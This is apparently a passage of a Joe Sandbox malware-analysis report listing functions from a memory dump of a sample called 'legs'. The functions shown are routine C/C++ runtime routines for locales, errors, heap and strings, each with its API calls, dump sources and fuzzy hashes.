Part of subcall function 0093E783: SetLastError.KERNEL32(00000000,?,?,00000028,0093B9D2), ref: 0093E829

EnumSystemLocalesW.KERNEL32(00942FB1,00000001,?,?,-00000050,?,00942AB7,-00000050,-00000002,00000000,?,00000055,?,-00000050,?,?), ref: 00942F9C

Memory Dump Source

Source File: 00000008.00000002.1966865020.0000000000931000.00000020.00000001.01000000.00000009.sdmp, Offset: 00930000, based on PE: true

Associated: 00000008.00000002.1966843996.0000000000930000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1966921925.000000000094C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1966941779.0000000000955000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1967014791.0000000000956000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1967039318.0000000000958000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1967073351.000000000095A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1967104900.000000000095D000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_930000_legs.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: 14b18be90d769b65722028ac9f46734d4ddd2d36fbf0de48bc300ab73ebbeef8
Instruction ID: 537a9db93373950f547850412b847e60a0d82b5a29b4a7c8631cfd40ebeaec0b
Opcode Fuzzy Hash: 14b18be90d769b65722028ac9f46734d4ddd2d36fbf0de48bc300ab73ebbeef8
Instruction Fuzzy Hash: 3EF0F6362043085FDB245F399881F7A7BA5FFC0768F85846CF9454B680D7B1AC42C750

Function 0093F717 Relevance: 1.5, APIs: 1, Instructions: 33COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0093B750: EnterCriticalSection.KERNEL32(-00023A67,?,00938F5A,00000000,009544D8,0000000C,00938F13,?,?,0093F83A,?,?,0093E921,00000001,00000364,009331E1), ref: 0093B75F

EnumSystemLocalesW.KERNEL32(0093F70A,00000001,00954928,0000000C,0093F118,-00000050), ref: 0093F74F

Memory Dump Source

Source File: 00000008.00000002.1966865020.0000000000931000.00000020.00000001.01000000.00000009.sdmp, Offset: 00930000, based on PE: true

Associated: 00000008.00000002.1966843996.0000000000930000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1966921925.000000000094C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1966941779.0000000000955000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1967014791.0000000000956000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1967039318.0000000000958000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1967073351.000000000095A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1967104900.000000000095D000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_930000_legs.jbxd

Similarity

API ID: CriticalEnterEnumLocalesSectionSystem
String ID:
API String ID: 1272433827-0
Opcode ID: d021bedaea9700b42c89dd227670ea6414f9cda83c77431223c45e694b2eb413
Instruction ID: f1aa8bf669bd37a52fac52da2fa1c406c4bd27bccc9befcd2c5824ad13e1edd9
Opcode Fuzzy Hash: d021bedaea9700b42c89dd227670ea6414f9cda83c77431223c45e694b2eb413
Instruction Fuzzy Hash: BEF04972A18304DFD700DFA9E852B9D77B0FB8872AF10812AF801DB2A0CB795904DF80

Function 00943086 Relevance: 1.5, APIs: 1, Instructions: 31COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0093E783: GetLastError.KERNEL32(00000000,?,00940AB9), ref: 0093E787
Part of subcall function 0093E783: SetLastError.KERNEL32(00000000,?,?,00000028,0093B9D2), ref: 0093E829

EnumSystemLocalesW.KERNEL32(009430D1,00000001,?,?,?,00942B11,-00000050,-00000002,00000000,?,00000055,?,-00000050,?,?,?), ref: 009430BD

Memory Dump Source

Source File: 00000008.00000002.1966865020.0000000000931000.00000020.00000001.01000000.00000009.sdmp, Offset: 00930000, based on PE: true

Associated: 00000008.00000002.1966843996.0000000000930000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1966921925.000000000094C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1966941779.0000000000955000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1967014791.0000000000956000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1967039318.0000000000958000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1967073351.000000000095A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1967104900.000000000095D000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_930000_legs.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: 518fbed863533bb01d15398e3644aace2b11a7ddebc314788bd9857c601d80ea
Instruction ID: aa617a5e9f537ccd412de6d1e3bb428e7d86ca4015322564f4efebcef86cc0e7
Opcode Fuzzy Hash: 518fbed863533bb01d15398e3644aace2b11a7ddebc314788bd9857c601d80ea
Instruction Fuzzy Hash: F2F0233570030957CB049F35D855B667F94EFC1754F068058EE058B691C671DD42D790

Function 0093F21C Relevance: 1.5, APIs: 1, Instructions: 24COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(00000000,?,00000000,?,-00000050,?,00000000,?,0093A4BC,?,20001004,00000000,00000002,?,?,009393CE), ref: 0093F250

Memory Dump Source

Source File: 00000008.00000002.1966865020.0000000000931000.00000020.00000001.01000000.00000009.sdmp, Offset: 00930000, based on PE: true

Associated: 00000008.00000002.1966843996.0000000000930000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1966921925.000000000094C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1966941779.0000000000955000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1967014791.0000000000956000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1967039318.0000000000958000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1967073351.000000000095A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1967104900.000000000095D000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_930000_legs.jbxd

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: ed31b84f853c11c54b9bf12372d9c8d0271b61f5795a44accdfd7a2db5a525b2
Instruction ID: 0560c5de1e06e07690cae2e5d9fe4cf05ca519270ed72a7c04cd3461123119ac
Opcode Fuzzy Hash: ed31b84f853c11c54b9bf12372d9c8d0271b61f5795a44accdfd7a2db5a525b2
Instruction Fuzzy Hash: 68E04F76D04218FBCF122F61DC15BAE7F19EF847A1F004420FD1565161CB718D20AF95

Function 00935014 Relevance: 1.5, APIs: 1, Instructions: 3COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_00005135), ref: 00935019

Memory Dump Source

Source File: 00000008.00000002.1966865020.0000000000931000.00000020.00000001.01000000.00000009.sdmp, Offset: 00930000, based on PE: true

Associated: 00000008.00000002.1966843996.0000000000930000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1966921925.000000000094C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1966941779.0000000000955000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1967014791.0000000000956000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1967039318.0000000000958000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1967073351.000000000095A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1967104900.000000000095D000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_930000_legs.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 62d83dcfc745228cde956559cb358d4467d24d78c09ef53c8a8a7c4421836718
Instruction ID: 28c1854842f48e8418dcd918b70801bae5ab65a6192c8e71ea57e26c248c168f
Opcode Fuzzy Hash: 62d83dcfc745228cde956559cb358d4467d24d78c09ef53c8a8a7c4421836718
Instruction Fuzzy Hash:

Function 0093FE2C Relevance: 1.3, APIs: 1, Instructions: 5memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 0093FE2C

Memory Dump Source

Source File: 00000008.00000002.1966865020.0000000000931000.00000020.00000001.01000000.00000009.sdmp, Offset: 00930000, based on PE: true

Associated: 00000008.00000002.1966843996.0000000000930000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1966921925.000000000094C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1966941779.0000000000955000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1967014791.0000000000956000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1967039318.0000000000958000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1967073351.000000000095A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1967104900.000000000095D000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_930000_legs.jbxd

Similarity

API ID: HeapProcess
String ID:
API String ID: 54951025-0
Opcode ID: 8540bcf047eddc41947e9278d39e9d273a8bf94e4feba7d167f72f77f1b0c612
Instruction ID: 8efbb8ab380bc11587a444e9779748e482524092a5f60169a20a75bb4f99211a
Opcode Fuzzy Hash: 8540bcf047eddc41947e9278d39e9d273a8bf94e4feba7d167f72f77f1b0c612
Instruction Fuzzy Hash: F9A011B0A2A300CB83808F33AA08A083BA8AA082C23088028A800C2020EB208880BF00

Function 0094A222 Relevance: 12.2, APIs: 8, Instructions: 248COMMONLIBRARYCODE

Download Yara Rule

APIs

GetCPInfo.KERNEL32(0054FE38,0054FE38,00000000,7FFFFFFF,?,0094A20D,0054FE38,0054FE38,00000000,0054FE38,?,?,?,?,0054FE38,00000000), ref: 0094A2C8
__alloca_probe_16.LIBCMT ref: 0094A383
__alloca_probe_16.LIBCMT ref: 0094A412
__freea.LIBCMT ref: 0094A45D
__freea.LIBCMT ref: 0094A463
__freea.LIBCMT ref: 0094A499
__freea.LIBCMT ref: 0094A49F
__freea.LIBCMT ref: 0094A4AF

Memory Dump Source

Source File: 00000008.00000002.1966865020.0000000000931000.00000020.00000001.01000000.00000009.sdmp, Offset: 00930000, based on PE: true

Associated: 00000008.00000002.1966843996.0000000000930000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1966921925.000000000094C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1966941779.0000000000955000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1967014791.0000000000956000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1967039318.0000000000958000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1967073351.000000000095A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1967104900.000000000095D000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_930000_legs.jbxd

Similarity

API ID: __freea$__alloca_probe_16$Info
String ID:
API String ID: 127012223-0
Opcode ID: 6b098c36c59dab88cb65837b460eca2cb849d3ffdf35a30c7bb6bf4bc0199c00
Instruction ID: 97fa27e2c50090dfbc1e3775df76a5e48061a8aace89931a739bdadbc8bf7166
Opcode Fuzzy Hash: 6b098c36c59dab88cb65837b460eca2cb849d3ffdf35a30c7bb6bf4bc0199c00
Instruction Fuzzy Hash: 09711772D80205AFDF219F948C85FAF7BBE9F89314F254119F914A7291E7B9CC008B62

Function 009354C5 Relevance: 12.2, APIs: 8, Instructions: 177COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000001,00000001,?), ref: 0093550C
__alloca_probe_16.LIBCMT ref: 00935538
MultiByteToWideChar.KERNEL32(00000000,00000001,00000001,?,00000000,00000000), ref: 00935577
LCMapStringEx.KERNEL32(?,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00935594
LCMapStringEx.KERNEL32(?,?,00000000,00000000,?,?,00000000,00000000,00000000), ref: 009355D3
__alloca_probe_16.LIBCMT ref: 009355F0
LCMapStringEx.KERNEL32(?,?,00000000,00000001,00000000,00000000,00000000,00000000,00000000), ref: 00935632
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,?,00000000,00000000), ref: 00935655

Memory Dump Source

Source File: 00000008.00000002.1966865020.0000000000931000.00000020.00000001.01000000.00000009.sdmp, Offset: 00930000, based on PE: true

Associated: 00000008.00000002.1966843996.0000000000930000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1966921925.000000000094C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1966941779.0000000000955000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1967014791.0000000000956000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1967039318.0000000000958000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1967073351.000000000095A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1967104900.000000000095D000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_930000_legs.jbxd

Similarity

API ID: ByteCharMultiStringWide$__alloca_probe_16
String ID:
API String ID: 2040435927-0
Opcode ID: 942591bc7d02325b0cbee3090ae9e83e5b829d67e431063357836d8de4306779
Instruction ID: 1452e6e8b43539d677618e2d9a660448e5f9b361091adde347f11252fd8ce3f7
Opcode Fuzzy Hash: 942591bc7d02325b0cbee3090ae9e83e5b829d67e431063357836d8de4306779
Instruction Fuzzy Hash: 7251AE72600A06AFEF209F61CC46FAB7BADEF88758F564425F905E61A0DB34DD109F90

Function 009361E0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 130COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 00936217
___except_validate_context_record.LIBVCRUNTIME ref: 0093621F
_ValidateLocalCookies.LIBCMT ref: 009362A8
__IsNonwritableInCurrentImage.LIBCMT ref: 009362D3
_ValidateLocalCookies.LIBCMT ref: 00936328

Strings

csm, xrefs: 009362BD

Memory Dump Source

Source File: 00000008.00000002.1966865020.0000000000931000.00000020.00000001.01000000.00000009.sdmp, Offset: 00930000, based on PE: true

Associated: 00000008.00000002.1966843996.0000000000930000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1966921925.000000000094C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1966941779.0000000000955000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1967014791.0000000000956000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1967039318.0000000000958000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1967073351.000000000095A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1967104900.000000000095D000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_930000_legs.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: cb6c6347b83bee848ce32af8851d4bc564e59ea3c79bbc6f4fe9551ceda94251
Instruction ID: 31e961fe245c79d049e7a792f572ca224de3979498cde35cda58f407322a740d
Opcode Fuzzy Hash: cb6c6347b83bee848ce32af8851d4bc564e59ea3c79bbc6f4fe9551ceda94251
Instruction Fuzzy Hash: 3E41A134A00218AFCF10DF68C884B9F7BA5EF89328F15C555E8249B392C7319E05CF91

Function 0093F469 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74COMMONLIBRARYCODE

Download Yara Rule

APIs

FreeLibrary.KERNEL32(00000000,?,0093F578,0093186A,?,00000000,009331E1,0093186C,?,0093F1F6,00000022,FlsSetValue,0094DFE0,0094DFE8,009331E1), ref: 0093F52A

Strings

ext-ms-, xrefs: 0093F4D4
api-ms-, xrefs: 0093F4C0

Memory Dump Source

Source File: 00000008.00000002.1966865020.0000000000931000.00000020.00000001.01000000.00000009.sdmp, Offset: 00930000, based on PE: true

Associated: 00000008.00000002.1966843996.0000000000930000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1966921925.000000000094C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1966941779.0000000000955000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1967014791.0000000000956000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1967039318.0000000000958000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1967073351.000000000095A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1967104900.000000000095D000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_930000_legs.jbxd

Similarity

API ID: FreeLibrary
String ID: api-ms-$ext-ms-
API String ID: 3664257935-537541572
Opcode ID: f2e245bdc0fd42a8e3038d7ff310b68ef82b488d913d258f9cff8c1021bc8ea0
Instruction ID: 11288c8f87acd17170d1d81a8955e378d4029206fc33e9443553c9e9adc076c9
Opcode Fuzzy Hash: f2e245bdc0fd42a8e3038d7ff310b68ef82b488d913d258f9cff8c1021bc8ea0
Instruction Fuzzy Hash: EF210572E12311ABCB218F26EC59A6B775CDB413A5F204130FD06A72A0E730EE04DBD0

Function 0094625D Relevance: 9.3, APIs: 6, Instructions: 292COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1966865020.0000000000931000.00000020.00000001.01000000.00000009.sdmp, Offset: 00930000, based on PE: true

Associated: 00000008.00000002.1966843996.0000000000930000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1966921925.000000000094C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1966941779.0000000000955000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1967014791.0000000000956000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1967039318.0000000000958000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1967073351.000000000095A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1967104900.000000000095D000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_930000_legs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6a2645799c1e91107628fba574888af22e3e2f18571150fbe2f8bab8a5e19c6c
Instruction ID: 72834f85ba1944db336bf8a37d65f99c1303fdc783956661c5e8bd4720feb9fd
Opcode Fuzzy Hash: 6a2645799c1e91107628fba574888af22e3e2f18571150fbe2f8bab8a5e19c6c
Instruction Fuzzy Hash: AAB100B0A04348AFDF11DFA9D850FAEBBB9AF8A310F144159F9509B296C7709D41CF62

Function 0093D2C0 Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,0093D2B7,00935FB7,00935179), ref: 0093D2CE
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 0093D2DC
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 0093D2F5
SetLastError.KERNEL32(00000000,0093D2B7,00935FB7,00935179), ref: 0093D347

Memory Dump Source

Source File: 00000008.00000002.1966865020.0000000000931000.00000020.00000001.01000000.00000009.sdmp, Offset: 00930000, based on PE: true

Associated: 00000008.00000002.1966843996.0000000000930000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1966921925.000000000094C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1966941779.0000000000955000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1967014791.0000000000956000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1967039318.0000000000958000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1967073351.000000000095A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1967104900.000000000095D000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_930000_legs.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: 1eaadba72948553d1b8866d8b3dc11d4265e650d2751b2a81fe514676a853aab
Instruction ID: 4b89c14cf0eb77b407bcbe91420ddf1e053e45aa7c4a224b922d340f33070e31
Opcode Fuzzy Hash: 1eaadba72948553d1b8866d8b3dc11d4265e650d2751b2a81fe514676a853aab
Instruction Fuzzy Hash: 9401283211F7159EA7251AB57CF5A6B6688EF417B9B600329F110510E1EF155C006B81

Function 0093DB88 Relevance: 9.1, APIs: 2, Strings: 3, Instructions: 301COMMONLIBRARYCODE

Download Yara Rule

APIs

type_info::operator==.LIBVCRUNTIME ref: 0093DCA7
CallUnexpected.LIBVCRUNTIME ref: 0093DF20

Strings

csm, xrefs: 0093DC32
csm, xrefs: 0093DCDE
csm, xrefs: 0093DBC5

Memory Dump Source

Source File: 00000008.00000002.1966865020.0000000000931000.00000020.00000001.01000000.00000009.sdmp, Offset: 00930000, based on PE: true

Associated: 00000008.00000002.1966843996.0000000000930000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1966921925.000000000094C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1966941779.0000000000955000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1967014791.0000000000956000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1967039318.0000000000958000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1967073351.000000000095A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1967104900.000000000095D000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_930000_legs.jbxd

Similarity

API ID: CallUnexpectedtype_info::operator==
String ID: csm$csm$csm
API String ID: 2673424686-393685449
Opcode ID: efbc6644d3f17dcf8797a8317e9bad42bae5a30c9664f727fb71d2417a542285
Instruction ID: ae7e5ae9b33280d0d25b74e269bd2f4ea6547be1b2470059d8c548ce340bf945
Opcode Fuzzy Hash: efbc6644d3f17dcf8797a8317e9bad42bae5a30c9664f727fb71d2417a542285
Instruction Fuzzy Hash: 53B1BE71802209EFCF25DFA4E8A1AAEBBB9FF54310F14405AF8116B216D771EA51CF91

Function 00938C55 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 42libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,AF845AA1,?,?,00000000,0094B774,000000FF,?,00938D16,00938BFD,?,00938DB2,00000000), ref: 00938C8A
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 00938C9C
FreeLibrary.KERNEL32(00000000,?,?,00000000,0094B774,000000FF,?,00938D16,00938BFD,?,00938DB2,00000000), ref: 00938CBE

Strings

mscoree.dll, xrefs: 00938C83
CorExitProcess, xrefs: 00938C94

Memory Dump Source

Source File: 00000008.00000002.1966865020.0000000000931000.00000020.00000001.01000000.00000009.sdmp, Offset: 00930000, based on PE: true

Associated: 00000008.00000002.1966843996.0000000000930000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1966921925.000000000094C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1966941779.0000000000955000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1967014791.0000000000956000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1967039318.0000000000958000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1967073351.000000000095A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1967104900.000000000095D000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_930000_legs.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: df4104da277345a6c00d1f5f8de8a5a69110913671c284d33cca9eba338474c6
Instruction ID: 7d89f014cec060d4dda8848e8d2004a55a05c2c7269e08a22e9cde6bdbe26141
Opcode Fuzzy Hash: df4104da277345a6c00d1f5f8de8a5a69110913671c284d33cca9eba338474c6
Instruction Fuzzy Hash: 06018471955719EBCB128B55CC09BAEBBB8FB44B56F004525F811A22D0DB749900CF90

Function 0093FC3D Relevance: 7.7, APIs: 5, Instructions: 197COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 0093FCC2
__alloca_probe_16.LIBCMT ref: 0093FD8B
__freea.LIBCMT ref: 0093FDF2

Part of subcall function 0093E531: RtlAllocateHeap.NTDLL(00000000,009331E1,0093186A,?,009360C1,0093186C,0093186A,?,?,?,00933181,009331E1,0093186E,0093186A,0093186A,0093186A), ref: 0093E563

__freea.LIBCMT ref: 0093FE05
__freea.LIBCMT ref: 0093FE12

Memory Dump Source

Source File: 00000008.00000002.1966865020.0000000000931000.00000020.00000001.01000000.00000009.sdmp, Offset: 00930000, based on PE: true

Associated: 00000008.00000002.1966843996.0000000000930000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1966921925.000000000094C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1966941779.0000000000955000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1967014791.0000000000956000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1967039318.0000000000958000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1967073351.000000000095A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1967104900.000000000095D000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_930000_legs.jbxd

Similarity

API ID: __freea$__alloca_probe_16$AllocateHeap
String ID:
API String ID: 1423051803-0
Opcode ID: 0b7a54c96858e15ef1665a50748e1483a6a772b2c6eaeea7e5ab71018aebac96
Instruction ID: ebd706809154afeed5fbcb73249c9b147c7fcd8faacfec594410298b7d6baf10
Opcode Fuzzy Hash: 0b7a54c96858e15ef1665a50748e1483a6a772b2c6eaeea7e5ab71018aebac96
Instruction Fuzzy Hash: 81519173A00246ABDF21AF62DC95EBB7AADEF84710F150539FD04D6161EB34DC509EA0

Function 00933010 Relevance: 7.5, APIs: 5, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00933017
std::_Lockit::_Lockit.LIBCPMT ref: 00933022
std::_Lockit::~_Lockit.LIBCPMT ref: 00933090

Part of subcall function 00932EE4: std::locale::_Locimp::_Locimp.LIBCPMT ref: 00932EFC

std::locale::_Setgloballocale.LIBCPMT ref: 0093303D
_Yarn.LIBCPMT ref: 00933053

Memory Dump Source

Source File: 00000008.00000002.1966865020.0000000000931000.00000020.00000001.01000000.00000009.sdmp, Offset: 00930000, based on PE: true

Associated: 00000008.00000002.1966843996.0000000000930000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1966921925.000000000094C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1966941779.0000000000955000.00000040.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1967014791.0000000000956000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1967039318.0000000000958000.00000020.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1967073351.000000000095A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000008.00000002.1967104900.000000000095D000.00000008.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_930000_legs.jbxd

Similarity

API ID: Lockitstd::_std::locale::_$H_prolog3LocimpLocimp::_Lockit::_Lockit::~_SetgloballocaleYarn
String ID:
API String ID: 1088826258-0
Opcode ID: ba607b79475de2de919538365f3e9fdde70e8886ff056d5d249f274d33ee2fb1
Instruction ID: aa161588dd2028e00dd02348884469995fc2223a4027b5a21ce94cfa2853ec23
Opcode Fuzzy Hash: ba607b79475de2de919538365f3e9fdde70e8886ff056d5d249f274d33ee2fb1
Instruction Fuzzy Hash: A8018BB6A502209BCB1AEF60D846A7D7B71FFC8341F158009E82257381DF34AE02DF81

